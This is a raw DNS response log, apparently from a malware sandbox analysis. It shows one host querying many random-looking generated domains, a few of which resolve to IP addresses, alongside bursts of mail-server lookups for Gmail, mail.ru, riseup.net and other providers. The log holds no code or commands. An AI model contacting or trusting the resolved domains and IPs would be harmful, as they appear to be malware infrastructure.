Nov 7, 2022 22:24:42.609328032 CET	8.8.8.8	192.168.2.5	0x8fe3	Name error (3)	ssnsphrnws.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.686539888 CET	8.8.8.8	192.168.2.5	0x5b59	No error (0)	aewrhprres.com		81.17.29.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.790925026 CET	8.8.8.8	192.168.2.5	0xfb89	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.795754910 CET	8.8.8.8	192.168.2.5	0x94ac	Name error (3)	mpehqsqwmn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.803719997 CET	8.8.8.8	192.168.2.5	0xaed4	No error (0)	aspmx.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:43.933310032 CET	8.8.8.8	192.168.2.5	0xb07d	Name error (3)	rnrmmnpnpn.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:44.138494968 CET	8.8.8.8	192.168.2.5	0xaaec	Name error (3)	mwaaemmnhn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:44.336616039 CET	8.8.8.8	192.168.2.5	0xa400	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:44.342266083 CET	8.8.8.8	192.168.2.5	0xa400	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:44.853224039 CET	8.8.8.8	192.168.2.5	0xce1	No error (0)	alt1.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:44.883193970 CET	8.8.8.8	192.168.2.5	0x61c	No error (0)	asnrrsamsa.com		81.17.18.196	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:45.611146927 CET	8.8.8.8	192.168.2.5	0xa400	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:46.164982080 CET	8.8.8.8	192.168.2.5	0x9fc1	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:46.171272993 CET	8.8.8.8	192.168.2.5	0xc3bf	Name error (3)	whmrraawha.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:46.688112974 CET	8.8.8.8	192.168.2.5	0x3f95	Name error (3)	qmsaspnsna.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.173692942 CET	8.8.8.8	192.168.2.5	0x9365	Name error (3)	hnehqqwwrs.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.223903894 CET	8.8.8.8	192.168.2.5	0x694d	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:47.392332077 CET	8.8.8.8	192.168.2.5	0xba8f	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:47.587604046 CET	8.8.8.8	192.168.2.5	0xc65f	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.371577978 CET	8.8.8.8	192.168.2.5	0xfeba	Name error (3)	qppamspwhs.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.387139082 CET	8.8.8.8	192.168.2.5	0xfeba	Name error (3)	qppamspwhs.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.478389978 CET	8.8.8.8	192.168.2.5	0x7757	Name error (3)	weeqshswms.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.635974884 CET	8.8.8.8	192.168.2.5	0x47aa	No error (0)	aanparshnh.com		63.141.242.43	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:48.985464096 CET	8.8.8.8	192.168.2.5	0x7483	Name error (3)	hpeqherars.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.099643946 CET	8.8.8.8	192.168.2.5	0x8d9a	Name error (3)	nnhhneqnrh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.144699097 CET	8.8.8.8	192.168.2.5	0xbce4	Name error (3)	saanqmaqpn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.183039904 CET	8.8.8.8	192.168.2.5	0x69f5	Name error (3)	armahmrsaa.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.211569071 CET	8.8.8.8	192.168.2.5	0xd84	Name error (3)	wqahhaqenh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.362575054 CET	8.8.8.8	192.168.2.5	0x63d7	No error (0)	aharwhphnh.com		81.17.29.147	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.562235117 CET	8.8.8.8	192.168.2.5	0x8f22	Name error (3)	mnrepmepar.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.588208914 CET	8.8.8.8	192.168.2.5	0xa9ff	Name error (3)	apqhwmnqrh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.618729115 CET	8.8.8.8	192.168.2.5	0x387e	Name error (3)	mehsnsamha.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.646543980 CET	8.8.8.8	192.168.2.5	0xfa5f	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.853929996 CET	8.8.8.8	192.168.2.5	0x5351	Name error (3)	qqpqwehwah.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:49.986191034 CET	8.8.8.8	192.168.2.5	0xcea8	Name error (3)	sqmswpnqws.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.093559027 CET	8.8.8.8	192.168.2.5	0x6716	Name error (3)	pqarnhhhhn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.122540951 CET	8.8.8.8	192.168.2.5	0x49b5	Name error (3)	hqepnmqewn.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.272412062 CET	8.8.8.8	192.168.2.5	0x22a6	No error (0)	rsrsemnren.org		81.17.29.146	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.379347086 CET	8.8.8.8	192.168.2.5	0xf999	Name error (3)	spewqmspma.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.822837114 CET	8.8.8.8	192.168.2.5	0x69c3	Name error (3)	rahhhqwqqa.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:50.867269993 CET	8.8.8.8	192.168.2.5	0x9870	No error (0)	empewsqsqa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.335673094 CET	8.8.8.8	192.168.2.5	0x8662	Name error (3)	pmnrrneaah.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.361361980 CET	8.8.8.8	192.168.2.5	0x5a32	Name error (3)	mnwsnarssr.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.432569981 CET	8.8.8.8	192.168.2.5	0x37f8	Name error (3)	rrpnmeawrs.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.481081963 CET	8.8.8.8	192.168.2.5	0xd851	Name error (3)	sermsqqqna.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.550832987 CET	8.8.8.8	192.168.2.5	0xe12c	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.560841084 CET	8.8.8.8	192.168.2.5	0xa358	Name error (3)	rsqsepmwas.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.575736046 CET	8.8.8.8	192.168.2.5	0xa6eb	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.587688923 CET	8.8.8.8	192.168.2.5	0xa803	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.587688923 CET	8.8.8.8	192.168.2.5	0xa803	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.592538118 CET	8.8.8.8	192.168.2.5	0x6c3d	Name error (3)	mqpppnhaes.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.594973087 CET	8.8.8.8	192.168.2.5	0x4b2b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.594973087 CET	8.8.8.8	192.168.2.5	0x4b2b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.594973087 CET	8.8.8.8	192.168.2.5	0x4b2b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.594973087 CET	8.8.8.8	192.168.2.5	0x4b2b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.594973087 CET	8.8.8.8	192.168.2.5	0x4b2b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:51.624763966 CET	8.8.8.8	192.168.2.5	0xc60	Name error (3)	aqmrnawpan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.629776955 CET	8.8.8.8	192.168.2.5	0xf647	No error (0)	aspmx2.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.688744068 CET	8.8.8.8	192.168.2.5	0x4816	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.738169909 CET	8.8.8.8	192.168.2.5	0xd1cb	Name error (3)	wrnwernreh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.765990973 CET	8.8.8.8	192.168.2.5	0x86b4	Name error (3)	aeaqmpsaqa.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.795104027 CET	8.8.8.8	192.168.2.5	0xacdc	Name error (3)	whwsqnemsn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.938750029 CET	8.8.8.8	192.168.2.5	0x123e	Name error (3)	rqeaqeewas.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.946763992 CET	8.8.8.8	192.168.2.5	0x5837	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:51.980643988 CET	8.8.8.8	192.168.2.5	0xb1f5	Name error (3)	wqpaamhwrs.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:52.037487030 CET	8.8.8.8	192.168.2.5	0xe0e0	No error (0)	reaaheeara.org		199.59.243.222	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:52.506129026 CET	8.8.8.8	192.168.2.5	0x798b	No error (0)	aspmx3.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:53.708807945 CET	8.8.8.8	192.168.2.5	0x5077	No error (0)	alt1.aspmx.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:54.525605917 CET	8.8.8.8	192.168.2.5	0x14f0	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:54.541568041 CET	8.8.8.8	192.168.2.5	0xd18e	No error (0)	alt2.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:55.741864920 CET	8.8.8.8	192.168.2.5	0x22a3	No error (0)	aspmx.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:55.822422028 CET	8.8.8.8	192.168.2.5	0x5799	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:55.822422028 CET	8.8.8.8	192.168.2.5	0x5799	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:55.822422028 CET	8.8.8.8	192.168.2.5	0x5799	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:55.822422028 CET	8.8.8.8	192.168.2.5	0x5799	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:55.822422028 CET	8.8.8.8	192.168.2.5	0x5799	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.076359987 CET	8.8.8.8	192.168.2.5	0xd8f6	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.076359987 CET	8.8.8.8	192.168.2.5	0xd8f6	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.076359987 CET	8.8.8.8	192.168.2.5	0xd8f6	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.076359987 CET	8.8.8.8	192.168.2.5	0xd8f6	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.076359987 CET	8.8.8.8	192.168.2.5	0xd8f6	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.080466986 CET	8.8.8.8	192.168.2.5	0x3fc6	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.134584904 CET	8.8.8.8	192.168.2.5	0x92	No error (0)	gmail-smtp-in.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.146616936 CET	8.8.8.8	192.168.2.5	0x5cb5	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.228957891 CET	8.8.8.8	192.168.2.5	0x7983	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:56.271714926 CET	8.8.8.8	192.168.2.5	0x82f4	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.274167061 CET	8.8.8.8	192.168.2.5	0x62d	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:56.274167061 CET	8.8.8.8	192.168.2.5	0x62d	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:00.639069080 CET	8.8.8.8	192.168.2.5	0xfd07	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:00.644922972 CET	8.8.8.8	192.168.2.5	0x353e	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:01.779506922 CET	8.8.8.8	192.168.2.5	0xbb1b	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:03.175451040 CET	8.8.8.8	192.168.2.5	0xa549	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.405869961 CET	8.8.8.8	192.168.2.5	0x7945	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.505728006 CET	8.8.8.8	192.168.2.5	0x67d	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.539472103 CET	8.8.8.8	192.168.2.5	0xc37c	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:03.868463993 CET	8.8.8.8	192.168.2.5	0x83a1	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:04.032311916 CET	8.8.8.8	192.168.2.5	0x6702	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:04.032311916 CET	8.8.8.8	192.168.2.5	0x6702	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:04.060090065 CET	8.8.8.8	192.168.2.5	0x20ca	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:05.071317911 CET	8.8.8.8	192.168.2.5	0xa549	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:05.181205988 CET	8.8.8.8	192.168.2.5	0xa549	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:06.508944035 CET	8.8.8.8	192.168.2.5	0x453a	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.311870098 CET	8.8.8.8	192.168.2.5	0x4f77	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.688174963 CET	8.8.8.8	192.168.2.5	0xd517	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.759398937 CET	8.8.8.8	192.168.2.5	0x2710	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.765433073 CET	8.8.8.8	192.168.2.5	0x6dbd	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.765433073 CET	8.8.8.8	192.168.2.5	0x6dbd	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.765433073 CET	8.8.8.8	192.168.2.5	0x6dbd	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.765433073 CET	8.8.8.8	192.168.2.5	0x6dbd	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.765433073 CET	8.8.8.8	192.168.2.5	0x6dbd	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.765470028 CET	8.8.8.8	192.168.2.5	0x256f	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.800199032 CET	8.8.8.8	192.168.2.5	0xf6a2	No error (0)	aspmx.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.893717051 CET	8.8.8.8	192.168.2.5	0x9329	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.897037029 CET	8.8.8.8	192.168.2.5	0x4050	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.897037029 CET	8.8.8.8	192.168.2.5	0x4050	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.897037029 CET	8.8.8.8	192.168.2.5	0x4050	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.897037029 CET	8.8.8.8	192.168.2.5	0x4050	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.897037029 CET	8.8.8.8	192.168.2.5	0x4050	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.918293953 CET	8.8.8.8	192.168.2.5	0x1e48	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:08.007036924 CET	8.8.8.8	192.168.2.5	0x4a39	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:08.532735109 CET	8.8.8.8	192.168.2.5	0x64c6	No error (0)	alt2.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:09.331355095 CET	8.8.8.8	192.168.2.5	0x71fa	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:09.948738098 CET	8.8.8.8	192.168.2.5	0x40b3	No error (0)	alt1.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.100820065 CET	8.8.8.8	192.168.2.5	0x1230	No error (0)	aspmx2.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.903908968 CET	8.8.8.8	192.168.2.5	0x4c38	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:11.903908968 CET	8.8.8.8	192.168.2.5	0x4c38	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:11.903908968 CET	8.8.8.8	192.168.2.5	0x4c38	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:11.903908968 CET	8.8.8.8	192.168.2.5	0x4c38	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:11.903908968 CET	8.8.8.8	192.168.2.5	0x4c38	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:11.939927101 CET	8.8.8.8	192.168.2.5	0xa0b2	No error (0)	aspmx3.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.944441080 CET	8.8.8.8	192.168.2.5	0x7b01	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.976777077 CET	8.8.8.8	192.168.2.5	0x23f5	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:12.112066984 CET	8.8.8.8	192.168.2.5	0x9be2	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:12.112066984 CET	8.8.8.8	192.168.2.5	0x9be2	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:12.166446924 CET	8.8.8.8	192.168.2.5	0xd068	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:13.757100105 CET	8.8.8.8	192.168.2.5	0x90bc	Name error (3)	mnaahmqpqs.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:13.769274950 CET	8.8.8.8	192.168.2.5	0x36e3	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:13.991127968 CET	8.8.8.8	192.168.2.5	0x1edf	No error (0)	rrhaerswna.org		199.59.243.222	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:14.695627928 CET	8.8.8.8	192.168.2.5	0xb171	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:15.024765968 CET	8.8.8.8	192.168.2.5	0x3e1f	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:15.787818909 CET	8.8.8.8	192.168.2.5	0xb171	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:16.876703978 CET	8.8.8.8	192.168.2.5	0xb171	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:19.302215099 CET	8.8.8.8	192.168.2.5	0x9f2c	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:19.310838938 CET	8.8.8.8	192.168.2.5	0xa6d9	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:20.198745012 CET	8.8.8.8	192.168.2.5	0xa1fe	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:20.305973053 CET	8.8.8.8	192.168.2.5	0x2249	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:23.995054007 CET	8.8.8.8	192.168.2.5	0x11c6	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.006376982 CET	8.8.8.8	192.168.2.5	0xacee	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.051567078 CET	8.8.8.8	192.168.2.5	0xbe76	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.076093912 CET	8.8.8.8	192.168.2.5	0x2c7c	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.141654015 CET	8.8.8.8	192.168.2.5	0x4670	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.141654015 CET	8.8.8.8	192.168.2.5	0x4670	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.340362072 CET	8.8.8.8	192.168.2.5	0xd41b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.340362072 CET	8.8.8.8	192.168.2.5	0xd41b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.340362072 CET	8.8.8.8	192.168.2.5	0xd41b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.340362072 CET	8.8.8.8	192.168.2.5	0xd41b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.340362072 CET	8.8.8.8	192.168.2.5	0xd41b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.419013977 CET	8.8.8.8	192.168.2.5	0x907c	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.573982954 CET	8.8.8.8	192.168.2.5	0xa619	No error (0)	aspmx2.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.788073063 CET	8.8.8.8	192.168.2.5	0x2503	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:25.326688051 CET	8.8.8.8	192.168.2.5	0x2b0	No error (0)	alt2.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:26.177155018 CET	8.8.8.8	192.168.2.5	0x581d	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:26.430052042 CET	8.8.8.8	192.168.2.5	0x9e2f	No error (0)	aspmx3.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:27.582521915 CET	8.8.8.8	192.168.2.5	0xf73e	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:27.772568941 CET	8.8.8.8	192.168.2.5	0x55a5	No error (0)	aspmx.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.544018030 CET	8.8.8.8	192.168.2.5	0x8908	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.544018030 CET	8.8.8.8	192.168.2.5	0x8908	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.544018030 CET	8.8.8.8	192.168.2.5	0x8908	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.544018030 CET	8.8.8.8	192.168.2.5	0x8908	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.544018030 CET	8.8.8.8	192.168.2.5	0x8908	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.545222998 CET	8.8.8.8	192.168.2.5	0xdffc	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.548685074 CET	8.8.8.8	192.168.2.5	0xc5a9	No error (0)	alt1.aspmx.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.706262112 CET	8.8.8.8	192.168.2.5	0x57c0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.706262112 CET	8.8.8.8	192.168.2.5	0x57c0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
